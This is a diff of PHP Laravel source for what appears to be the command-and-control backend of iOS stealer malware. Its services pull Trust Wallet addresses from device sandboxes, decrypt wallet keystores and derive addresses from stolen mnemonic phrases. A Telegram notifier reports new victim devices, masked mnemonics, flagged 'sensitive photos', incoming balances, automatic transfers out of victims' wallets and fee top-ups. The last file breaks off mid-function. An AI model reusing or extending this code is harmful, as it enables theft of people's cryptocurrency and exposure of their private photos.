$name = basename(str_replace(['/', '\\'], '', $name));
$name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? '';
return $name === '.' || $name === '..' ? '' : $name;
}
}
+178
View File
@@ -0,0 +1,178 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Support\WalletSource;
/**
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
* Only BTC / ETH / TRX; at most two addresses per chain, in file order.
*/
class DsTrustAddressIngest
{
public const MAX_PER_CHAIN = 2;
/** WalletCore coin type → persisted chain_type. */
private const COIN_CHAIN = [
0 => 'BITCOIN',
60 => 'ETHEREUM',
195 => 'TRON',
];
public function __construct(
private readonly IngestService $ingest,
) {}
public function ingest(Device $device, mixed $node): int
{
$rows = $this->collect($node);
if ($rows === []) {
return 0;
}
$this->ingest->ingestAddresses($device, [
'a' => 'd',
'data' => $rows,
]);
return count($rows);
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
public function collect(mixed $node): array
{
$picked = [
'BITCOIN' => [],
'ETHEREUM' => [],
'TRON' => [],
];
foreach ($this->walkAccounts($node) as $acct) {
$address = trim((string) ($acct['address'] ?? ''));
$chain = $this->chainFor($address, $acct['coin'] ?? null);
if ($chain === null) {
continue;
}
if (in_array($address, $picked[$chain], true)) {
continue;
}
if (count($picked[$chain]) >= self::MAX_PER_CHAIN) {
continue;
}
$picked[$chain][] = $address;
}
$out = [];
foreach ($picked as $chain => $addresses) {
$symbol = match ($chain) {
'BITCOIN' => 'BTC',
'ETHEREUM' => 'ETH',
default => 'TRX',
};
foreach ($addresses as $address) {
$out[] = [
'address' => $address,
'chainType' => $chain,
'symbol' => $symbol,
'balance' => 0,
];
}
}
return $out;
}
/**
* @return list<array<string, mixed>>
*/
private function walkAccounts(mixed $node, int $depth = 0): array
{
if ($depth > 8 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->walkAccounts($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if (isset($node['activeAccounts']) && is_array($node['activeAccounts'])) {
return array_values(array_filter(
$node['activeAccounts'],
static fn ($row) => is_array($row)
));
}
$out = [];
foreach ($node as $key => $child) {
if (is_string($key) && strcasecmp($key, 'data_b64') === 0 && is_string($child)) {
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
continue;
}
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
}
return $out;
}
private function decodeBlob(string $raw): mixed
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
$b64 = base64_decode($raw, true);
if (is_string($b64) && $b64 !== '') {
$json = json_decode($b64, true);
if (is_array($json)) {
return $json;
}
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
$bin = @hex2bin($hex);
if (is_string($bin) && $bin !== '') {
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
}
}
return null;
}
private function chainFor(string $address, mixed $coin): ?string
{
if ($address === '') {
return null;
}
if (is_numeric($coin)) {
$mapped = self::COIN_CHAIN[(int) $coin] ?? null;
if ($mapped !== null) {
return $mapped;
}
return null;
}
$inferred = match (WalletSource::inferChainType($address)) {
'BITCOIN' => 'BITCOIN',
'ETHEREUM' => 'ETHEREUM',
'TRON' => 'TRON',
default => null,
};
return $inferred;
}
}
+199
View File
@@ -0,0 +1,199 @@
<?php
namespace App\Services;
use App\Support\Scrypt;
use kornrunner\Keccak;
/**
* Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-128-CTR + keccak MAC.
*/
final class EthKeystore
{
public static function decrypt(array $keystore, string $password): ?string
{
$crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null;
if (! is_array($crypto)) {
return null;
}
$cipher = strtolower((string) ($crypto['cipher'] ?? ''));
if ($cipher !== 'aes-128-ctr') {
return null;
}
$ciphertext = self::fromHex($crypto['ciphertext'] ?? null);
$mac = self::fromHex($crypto['mac'] ?? null);
$iv = self::fromHex($crypto['cipherparams']['iv'] ?? null);
if ($ciphertext === null || $mac === null || $iv === null || strlen($iv) !== 16) {
return null;
}
$derived = self::deriveKey($crypto, $password);
if ($derived === null || strlen($derived) < 32) {
return null;
}
if (! hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext))) {
return null;
}
$plain = openssl_decrypt($ciphertext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
if (! is_string($plain) || $plain === '') {
return null;
}
return $plain;
}
/**
* @param array<string, mixed> $kdfparams
* @return array<string, mixed>
*/
public static function encrypt(string $plaintext, string $password, array $kdfparams = []): array
{
$salt = $kdfparams['salt'] ?? bin2hex(random_bytes(32));
if (is_string($salt) && ctype_xdigit($salt)) {
$saltHex = strtolower($salt);
} else {
$saltHex = bin2hex((string) $salt);
}
$n = (int) ($kdfparams['n'] ?? 16);
$r = (int) ($kdfparams['r'] ?? 8);
$p = (int) ($kdfparams['p'] ?? 1);
$dklen = (int) ($kdfparams['dklen'] ?? 32);
$iv = random_bytes(16);
$derived = Scrypt::hash($password, hex2bin($saltHex) ?: '', $n, $r, $p, $dklen);
$ciphertext = openssl_encrypt($plaintext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
if (! is_string($ciphertext)) {
throw new \RuntimeException('aes-128-ctr encrypt failed');
}
return [
'version' => 3,
'type' => 'mnemonic',
'crypto' => [
'cipher' => 'aes-128-ctr',
'cipherparams' => ['iv' => bin2hex($iv)],
'ciphertext' => bin2hex($ciphertext),
'kdf' => 'scrypt',
'kdfparams' => [
'dklen' => $dklen,
'n' => $n,
'p' => $p,
'r' => $r,
'salt' => $saltHex,
],
'mac' => bin2hex(self::keccak256(substr($derived, 16, 16).$ciphertext)),
],
];
}
/**
* @param array<string, mixed> $crypto
*/
private static function deriveKey(array $crypto, string $password): ?string
{
$kdf = strtolower((string) ($crypto['kdf'] ?? ''));
$params = is_array($crypto['kdfparams'] ?? null) ? $crypto['kdfparams'] : [];
$dklen = (int) ($params['dklen'] ?? 32);
$salt = self::fromHex($params['salt'] ?? null);
if ($salt === null || $dklen < 16) {
return null;
}
if ($kdf === 'scrypt') {
$n = (int) ($params['n'] ?? 0);
$r = (int) ($params['r'] ?? 0);
$p = (int) ($params['p'] ?? 0);
if ($n < 2 || $r < 1 || $p < 1) {
return null;
}
return self::scrypt($password, $salt, $n, $r, $p, $dklen);
}
if ($kdf === 'pbkdf2') {
$c = (int) ($params['c'] ?? 0);
$prf = strtolower((string) ($params['prf'] ?? 'hmac-sha256'));
if ($c < 1 || ! str_contains($prf, 'sha256')) {
return null;
}
return hash_pbkdf2('sha256', $password, $salt, $c, $dklen, true);
}
return null;
}
private static function scrypt(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
{
if ($n >= 256) {
$fast = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
if ($fast !== null) {
return $fast;
}
}
try {
return Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
} catch (\Throwable) {
return null;
}
}
private static function scryptPython(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
{
$python = trim((string) shell_exec('command -v python3'));
if ($python === '') {
return null;
}
$code = <<<'PY'
from Crypto.Protocol.KDF import scrypt
import sys
pw = bytes.fromhex(sys.argv[1])
salt = bytes.fromhex(sys.argv[2])
n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7))
sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p))
PY;
$cmd = [
$python,
'-c',
$code,
bin2hex($password),
bin2hex($salt),
(string) $n,
(string) $r,
(string) $p,
(string) $dklen,
];
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$proc = @proc_open($cmd, $spec, $pipes);
if (! is_resource($proc)) {
return null;
}
fclose($pipes[0]);
$out = stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
$codeStatus = proc_close($proc);
if ($codeStatus !== 0 || ! is_string($out) || strlen($out) !== $dklen) {
return null;
}
return $out;
}
private static function keccak256(string $data): string
{
return hex2bin(Keccak::hash($data, 256)) ?: '';
}
private static function fromHex(mixed $value): ?string
{
if (! is_string($value) || $value === '') {
return null;
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return null;
}
$bin = @hex2bin($hex);
return is_string($bin) ? $bin : null;
}
}
+7
View File
@@ -477,8 +477,15 @@ class IngestService
return; return;
} }
$source = WalletSource::fromKeystoreHint($payload['a'] ?? null);
if ($source === '' && is_array($result)) {
$source = WalletSource::fromKeystoreHint($result['source'] ?? null);
}
WalletKeystore::query()->create([ WalletKeystore::query()->create([
'device_id' => $device->id, 'device_id' => $device->id,
'source' => $source,
'decrypted' => 0,
'raw_json' => is_array($result) ? $result : ['value' => $result], 'raw_json' => is_array($result) ? $result : ['value' => $result],
]); ]);
} }
+25 -23
View File
@@ -10,7 +10,7 @@ use Illuminate\Support\Facades\Log;
/** /**
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC, * When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
* query balances, and persist only chains that have a positive balance. * query balances, and persist the addresses even when the balance is zero.
*/ */
class MnemonicWalletDiscovery class MnemonicWalletDiscovery
{ {
@@ -26,9 +26,9 @@ class MnemonicWalletDiscovery
) {} ) {}
/** /**
* @return int Number of address rows created or updated with positive balance * @return int Number of address rows created or updated
*/ */
public function discoverFundedIndexZero(WalletMnemonic $mnemonic): int public function discoverIndexZero(WalletMnemonic $mnemonic): int
{ {
$phrase = $mnemonic->mnemonic; $phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') { if ($phrase === null || trim($phrase) === '') {
@@ -70,9 +70,15 @@ class MnemonicWalletDiscovery
): bool { ): bool {
$driver = $this->chains->resolve($chain); $driver = $this->chains->resolve($chain);
$address = $driver->deriveAddress($phrase, 0); $address = $driver->deriveAddress($phrase, 0);
$coins = $this->fetchCoins($chain, $address); try {
if (! $this->hasPositiveBalance($coins)) { $coins = $this->fetchCoins($chain, $address);
return false; } catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'address' => $address,
]);
$coins = $this->emptyCoins($chain);
} }
$row = WalletAddress::query()->firstOrNew([ $row = WalletAddress::query()->firstOrNew([
@@ -95,6 +101,19 @@ class MnemonicWalletDiscovery
return true; return true;
} }
/**
* @return array<string, string>
*/
private function emptyCoins(string $chain): array
{
return match ($chain) {
'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'],
default => [],
};
}
/** /**
* @return array<string, string> * @return array<string, string>
*/ */
@@ -131,21 +150,4 @@ class MnemonicWalletDiscovery
return '0'; return '0';
} }
} }
/**
* @param array<string, string> $coins
*/
private function hasPositiveBalance(array $coins): bool
{
foreach ($coins as $value) {
if (! is_numeric($value)) {
continue;
}
if (bccomp((string) $value, '0', 18) > 0) {
return true;
}
}
return false;
}
} }
+234
View File
@@ -0,0 +1,234 @@
<?php
namespace App\Services;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Storage;
class PhotoPreview
{
public const CACHE_DIR = 'c2/photo-previews';
/**
* Serve a stored photo. HEIC/HEIF is converted to JPEG at display time;
* the ingested original is never rewritten.
*
* @return array{bytes: string, mime: string, converted: bool}
*/
public function payload(string $absPath, string $deviceKey, string $sha256): array
{
$mime = @mime_content_type($absPath) ?: 'application/octet-stream';
$raw = (string) file_get_contents($absPath);
if ($raw === '' || ! $this->isHeic($absPath, $mime, $raw)) {
return [
'bytes' => $raw,
'mime' => $mime,
'converted' => false,
];
}
$cacheRel = $this->cachePath($deviceKey, $sha256);
$disk = Storage::disk('local');
if ($disk->exists($cacheRel)) {
$cached = (string) $disk->get($cacheRel);
if ($this->isJpeg($cached)) {
return [
'bytes' => $cached,
'mime' => 'image/jpeg',
'converted' => true,
];
}
}
$jpeg = $this->convertToJpeg($absPath);
if ($jpeg === null) {
Log::warning('heic preview convert failed', [
'path' => $absPath,
'sha256' => $sha256,
]);
return [
'bytes' => $raw,
'mime' => $mime,
'converted' => false,
];
}
$disk->put($cacheRel, $jpeg);
return [
'bytes' => $jpeg,
'mime' => 'image/jpeg',
'converted' => true,
];
}
public function forgetForDevice(string $deviceKey): void
{
$dir = self::CACHE_DIR.'/'.$this->safeKey($deviceKey);
try {
if (Storage::disk('local')->directoryExists($dir)) {
Storage::disk('local')->deleteDirectory($dir);
}
} catch (\Throwable) {
try {
Storage::disk('local')->deleteDirectory($dir);
} catch (\Throwable) {
}
}
}
public function headLooksHeic(string $head): bool
{
if (strlen($head) < 12 || substr($head, 4, 4) !== 'ftyp') {
return false;
}
$brands = substr($head, 8);
foreach (['heic', 'heix', 'heif', 'hevc', 'hevx', 'mif1', 'msf1'] as $brand) {
if (str_contains($brands, $brand)) {
return true;
}
}
return false;
}
private function isHeic(string $absPath, string $mime, string $raw): bool
{
$mime = strtolower($mime);
if (str_contains($mime, 'heic') || str_contains($mime, 'heif')) {
return true;
}
$ext = strtolower(pathinfo($absPath, PATHINFO_EXTENSION));
if (in_array($ext, ['heic', 'heif'], true)) {
return true;
}
return $this->headLooksHeic(substr($raw, 0, 32));
}
private function isJpeg(string $bytes): bool
{
return strlen($bytes) >= 3 && substr($bytes, 0, 2) === "\xFF\xD8";
}
private function convertToJpeg(string $absPath): ?string
{
$src = null;
$dst = null;
try {
$srcBase = tempnam(sys_get_temp_dir(), 'heic_src_');
$dstBase = tempnam(sys_get_temp_dir(), 'heic_dst_');
if ($srcBase === false || $dstBase === false) {
return null;
}
@unlink($srcBase);
@unlink($dstBase);
$src = $srcBase.'.heic';
$dst = $dstBase.'.jpg';
if (! @copy($absPath, $src)) {
return null;
}
foreach ($this->convertCommands($src, $dst) as $cmd) {
$result = Process::timeout(45)->run($cmd);
if (! $result->successful() || ! is_file($dst) || filesize($dst) < 3) {
continue;
}
$bytes = (string) file_get_contents($dst);
if ($this->isJpeg($bytes)) {
return $bytes;
}
}
return null;
} finally {
if (is_string($src) && is_file($src)) {
@unlink($src);
}
if (is_string($dst) && is_file($dst)) {
@unlink($dst);
}
}
}
/**
* @return list<list<string>>
*/
private function convertCommands(string $src, string $dst): array
{
$cmds = [];
if (is_executable('/usr/bin/sips')) {
$cmds[] = ['/usr/bin/sips', '-s', 'format', 'jpeg', '--out', $dst, $src];
}
foreach (['heif-convert', 'magick'] as $bin) {
$path = $this->resolveBinary($bin);
if ($path === null) {
continue;
}
$cmds[] = $bin === 'magick'
? [$path, $src, '-quality', '85', $dst]
: [$path, $src, $dst];
}
return $cmds;
}
private function resolveBinary(string $name): ?string
{
$candidates = match ($name) {
'magick' => ['magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
'heif-convert' => ['heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
default => [$name],
};
foreach ($candidates as $bin) {
if (str_contains($bin, DIRECTORY_SEPARATOR)) {
if (is_executable($bin)) {
return $bin;
}
continue;
}
$found = $this->which($bin);
if ($found !== null) {
return $found;
}
}
return null;
}
private function which(string $name): ?string
{
$path = getenv('PATH');
if (! is_string($path) || $path === '') {
return null;
}
foreach (explode(PATH_SEPARATOR, $path) as $dir) {
$candidate = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name;
if (is_executable($candidate)) {
return $candidate;
}
}
return null;
}
private function cachePath(string $deviceKey, string $sha256): string
{
$sha = preg_replace('/[^0-9a-fA-F]/', '', $sha256) ?? '';
if ($sha === '') {
$sha = 'unknown';
}
return self::CACHE_DIR.'/'.$this->safeKey($deviceKey).'/'.$sha.'.jpg';
}
private function safeKey(string $key): string
{
$key = preg_replace('/[^A-Za-z0-9._-]/', '_', $key) ?? '';
return $key === '' ? '_unknown' : $key;
}
}
+35 -35
View File
@@ -185,7 +185,7 @@ class TelegramNotifier
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{ {
$this->send(implode("\n", [ $this->send(implode("\n", [
'📱 <b>New Device</b>', '📱 <b>新设备</b>',
...$this->deviceHeader($deviceId), ...$this->deviceHeader($deviceId),
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'), '🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>', '🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
@@ -214,7 +214,7 @@ class TelegramNotifier
} }
$lines = [ $lines = [
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''), '💰 <b>新钱包地址</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
...$this->deviceHeader($deviceId), ...$this->deviceHeader($deviceId),
]; ];
@@ -227,12 +227,12 @@ class TelegramNotifier
if ($i > 0) { if ($i > 0) {
$lines[] = ''; $lines[] = '';
} }
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—'); $lines[] = '⛓ <b>链</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
if ($source !== '') { if ($source !== '') {
$lines[] = '🏷 <b>Source</b>: '.$this->e($source); $lines[] = '🏷 <b>来源</b>: '.$this->e($source);
} }
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>'; $lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal); $lines[] = '💵 <b>余额</b>: '.$this->e($bal);
} }
$this->send(implode("\n", $lines), $deviceId); $this->send(implode("\n", $lines), $deviceId);
@@ -249,29 +249,29 @@ class TelegramNotifier
} }
$this->send(implode("\n", [ $this->send(implode("\n", [
'👜 <b>Installed Wallets</b>', '👜 <b>已安装钱包</b>',
...$this->deviceHeader($deviceId), ...$this->deviceHeader($deviceId),
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)), '🏷 <b>钱包</b>: '.$this->e(implode(', ', $wallets)),
]), $deviceId); ]), $deviceId);
} }
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
{ {
$this->send(implode("\n", [ $this->send(implode("\n", [
'🔐 <b>New Mnemonic</b>', '🔐 <b>新助记词</b>',
...$this->deviceHeader($deviceId), ...$this->deviceHeader($deviceId),
'🏷 <b>Source</b>: '.$this->e($source ?: '—'), '🏷 <b>来源</b>: '.$this->e($source ?: '—'),
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>', '📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]), $deviceId); ]), $deviceId);
} }
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{ {
$this->send(implode("\n", [ $this->send(implode("\n", [
'🖼 <b>Sensitive Photo</b>', '🖼 <b>敏感照片</b>',
...$this->deviceHeader($deviceId), ...$this->deviceHeader($deviceId),
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit), '🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)), '📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
]), $deviceId); ]), $deviceId);
} }
@@ -284,14 +284,14 @@ class TelegramNotifier
?string $balance = null, ?string $balance = null,
): void { ): void {
$lines = [ $lines = [
'✅ <b>Balance Inbound</b>', '✅ <b>余额入账</b>',
...$this->deviceHeader($deviceId), ...$this->deviceHeader($deviceId),
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'), '⛓ <b>链</b>: '.$this->e($chain ?: '—'),
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>', '📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol), '💵 <b>金额</b>: +'.$this->e($amount).' '.$this->e($symbol),
]; ];
if ($balance !== null && trim($balance) !== '') { if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance); $lines[] = '💰 <b>余额</b>: '.$this->e($balance);
} }
$this->send(implode("\n", $lines), $deviceId); $this->send(implode("\n", $lines), $deviceId);
} }
@@ -311,23 +311,23 @@ class TelegramNotifier
?string $error = null, ?string $error = null,
): void { ): void {
$lines = [ $lines = [
$ok ? '🚀 <b>Auto Transfer OK</b>' : '⚠️ <b>Auto Transfer Failed</b>', $ok ? '🚀 <b>自动转账成功</b>' : '⚠️ <b>自动转账失败</b>',
...$this->deviceHeader($deviceId), ...$this->deviceHeader($deviceId),
'⛓ <b>Chain</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'), '⛓ <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
'💎 <b>Asset</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'), '💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
'📤 <b>From</b>: <code>'.$this->e($fromAddress).'</code>', '📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>',
]; ];
if ($toAddress !== null && trim($toAddress) !== '') { if ($toAddress !== null && trim($toAddress) !== '') {
$lines[] = '📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>'; $lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
} }
if ($amount !== null && trim($amount) !== '') { if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset)); $lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
} }
if ($ok && $txid !== null && trim($txid) !== '') { if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>'; $lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
} }
if (! $ok && $error !== null && trim($error) !== '') { if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>Error</b>: '.$this->e($error); $lines[] = '❌ <b>错误</b>: '.$this->e($error);
} }
$this->send(implode("\n", $lines), $deviceId); $this->send(implode("\n", $lines), $deviceId);
} }
@@ -345,19 +345,19 @@ class TelegramNotifier
?string $error = null, ?string $error = null,
): void { ): void {
$lines = [ $lines = [
$ok ? '⚡ <b>TRX Fee Top-up OK</b>' : '⚠️ <b>TRX Fee Top-up Failed</b>', $ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
...$this->deviceHeader($deviceId), ...$this->deviceHeader($deviceId),
'📤 <b>Fee wallet</b>: <code>'.$this->e($feeFrom).'</code>', '📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
'📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>', '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
]; ];
if ($amount !== null && trim($amount) !== '') { if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' TRX'; $lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
} }
if ($ok && $txid !== null && trim($txid) !== '') { if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>'; $lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
} }
if (! $ok && $error !== null && trim($error) !== '') { if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>Error</b>: '.$this->e($error); $lines[] = '❌ <b>错误</b>: '.$this->e($error);
} }
$this->send(implode("\n", $lines), $deviceId); $this->send(implode("\n", $lines), $deviceId);
} }
@@ -368,8 +368,8 @@ class TelegramNotifier
$channelId = $this->contextForDevice($deviceId)['channel_id']; $channelId = $this->contextForDevice($deviceId)['channel_id'];
return [ return [
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>', '📱 <b>设备</b>: <code>'.$this->e($deviceId).'</code>',
'📡 <b>ChannelID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>', '📡 <b>渠道 ID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
]; ];
} }
+131
View File
@@ -0,0 +1,131 @@
<?php
namespace App\Support;
/**
* RFC 7914 scrypt (PBKDF2-HMAC-SHA256 + ROMix / Salsa20/8).
*/
final class Scrypt
{
public static function hash(string $password, string $salt, int $n, int $r, int $p, int $dklen): string
{
if ($n < 2 || ($n & ($n - 1)) !== 0) {
throw new \InvalidArgumentException('scrypt N must be a power of 2');
}
if ($r < 1 || $p < 1 || $dklen < 1) {
throw new \InvalidArgumentException('invalid scrypt parameters');
}
$blockSize = 128 * $r;
$B = hash_pbkdf2('sha256', $password, $salt, 1, $p * $blockSize, true);
$v = str_repeat("\0", $blockSize * $n);
$out = '';
for ($i = 0; $i < $p; $i++) {
$block = substr($B, $i * $blockSize, $blockSize);
$out .= self::romix($block, $n, $r, $v);
}
return hash_pbkdf2('sha256', $password, $out, 1, $dklen, true);
}
private static function romix(string $block, int $n, int $r, string &$v): string
{
$blockSize = 128 * $r;
$x = $block;
for ($i = 0; $i < $n; $i++) {
$v = substr_replace($v, $x, $i * $blockSize, $blockSize);
$x = self::blockMix($x, $r);
}
for ($i = 0; $i < $n; $i++) {
$j = self::integerify($x, $r) % $n;
$x = self::xorBytes($x, substr($v, $j * $blockSize, $blockSize));
$x = self::blockMix($x, $r);
}
return $x;
}
private static function blockMix(string $b, int $r): string
{
$x = substr($b, (2 * $r - 1) * 64, 64);
$y = '';
$y2 = '';
for ($i = 0; $i < 2 * $r; $i++) {
$x = self::xorBytes($x, substr($b, $i * 64, 64));
$x = self::salsa208($x);
if (($i & 1) === 0) {
$y .= $x;
} else {
$y2 .= $x;
}
}
return $y.$y2;
}
private static function integerify(string $b, int $r): int
{
$off = (2 * $r - 1) * 64;
$n = unpack('V2', substr($b, $off, 8));
return (int) ($n[1] | ($n[2] << 32));
}
private static function xorBytes(string $a, string $b): string
{
return $a ^ $b;
}
private static function salsa208(string $input): string
{
$x = array_values(unpack('V16', $input));
$z = $x;
for ($i = 0; $i < 8; $i += 2) {
$z[4] ^= self::rotl(($z[0] + $z[12]) & 0xFFFFFFFF, 7);
$z[8] ^= self::rotl(($z[4] + $z[0]) & 0xFFFFFFFF, 9);
$z[12] ^= self::rotl(($z[8] + $z[4]) & 0xFFFFFFFF, 13);
$z[0] ^= self::rotl(($z[12] + $z[8]) & 0xFFFFFFFF, 18);
$z[9] ^= self::rotl(($z[5] + $z[1]) & 0xFFFFFFFF, 7);
$z[13] ^= self::rotl(($z[9] + $z[5]) & 0xFFFFFFFF, 9);
$z[1] ^= self::rotl(($z[13] + $z[9]) & 0xFFFFFFFF, 13);
$z[5] ^= self::rotl(($z[1] + $z[13]) & 0xFFFFFFFF, 18);
$z[14] ^= self::rotl(($z[10] + $z[6]) & 0xFFFFFFFF, 7);
$z[2] ^= self::rotl(($z[14] + $z[10]) & 0xFFFFFFFF, 9);
$z[6] ^= self::rotl(($z[2] + $z[14]) & 0xFFFFFFFF, 13);
$z[10] ^= self::rotl(($z[6] + $z[2]) & 0xFFFFFFFF, 18);
$z[3] ^= self::rotl(($z[15] + $z[11]) & 0xFFFFFFFF, 7);
$z[7] ^= self::rotl(($z[3] + $z[15]) & 0xFFFFFFFF, 9);
$z[11] ^= self::rotl(($z[7] + $z[3]) & 0xFFFFFFFF, 13);
$z[15] ^= self::rotl(($z[11] + $z[7]) & 0xFFFFFFFF, 18);
$z[1] ^= self::rotl(($z[0] + $z[3]) & 0xFFFFFFFF, 7);
$z[2] ^= self::rotl(($z[1] + $z[0]) & 0xFFFFFFFF, 9);
$z[3] ^= self::rotl(($z[2] + $z[1]) & 0xFFFFFFFF, 13);
$z[0] ^= self::rotl(($z[3] + $z[2]) & 0xFFFFFFFF, 18);
$z[6] ^= self::rotl(($z[5] + $z[4]) & 0xFFFFFFFF, 7);
$z[7] ^= self::rotl(($z[6] + $z[5]) & 0xFFFFFFFF, 9);
$z[4] ^= self::rotl(($z[7] + $z[6]) & 0xFFFFFFFF, 13);
$z[5] ^= self::rotl(($z[4] + $z[7]) & 0xFFFFFFFF, 18);
$z[11] ^= self::rotl(($z[10] + $z[9]) & 0xFFFFFFFF, 7);
$z[8] ^= self::rotl(($z[11] + $z[10]) & 0xFFFFFFFF, 9);
$z[9] ^= self::rotl(($z[8] + $z[11]) & 0xFFFFFFFF, 13);
$z[10] ^= self::rotl(($z[9] + $z[8]) & 0xFFFFFFFF, 18);
$z[12] ^= self::rotl(($z[15] + $z[14]) & 0xFFFFFFFF, 7);
$z[13] ^= self::rotl(($z[12] + $z[15]) & 0xFFFFFFFF, 9);
$z[14] ^= self::rotl(($z[13] + $z[12]) & 0xFFFFFFFF, 13);
$z[15] ^= self::rotl(($z[14] + $z[13]) & 0xFFFFFFFF, 18);
}
$packed = '';
for ($i = 0; $i < 16; $i++) {
$packed .= pack('V', ($z[$i] + $x[$i]) & 0xFFFFFFFF);
}
return $packed;
